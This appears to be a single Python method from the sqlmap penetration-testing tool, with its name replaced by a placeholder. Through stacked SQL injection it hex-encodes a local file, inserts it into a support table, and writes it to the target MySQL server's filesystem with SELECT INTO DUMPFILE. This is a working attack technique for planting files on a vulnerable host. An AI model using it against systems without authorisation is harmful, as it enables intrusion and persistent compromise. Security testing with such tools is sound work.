def METHOD_NAME(self, localFile, remoteFile, fileType, forceCheck=False):
    debugMsg = "creating a support table to write the hexadecimal "
    debugMsg += "encoded file to"
    logger.debug(debugMsg)
    self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
    logger.debug("encoding file to its hexadecimal string value")
    fcEncodedList = self.fileEncode(localFile, "hex", False)
    debugMsg = "forging SQL statements to write the hexadecimal "
    debugMsg += "encoded file to the support table"
    logger.debug(debugMsg)
    sqlQueries = self.fileToSqlQueries(fcEncodedList)
    logger.debug("inserting the hexadecimal encoded file to the support table")
    inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024))  # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
    for sqlQuery in sqlQueries:
        inject.goStacked(sqlQuery)
    debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
    logger.debug(debugMsg)
    # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
    inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
    return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)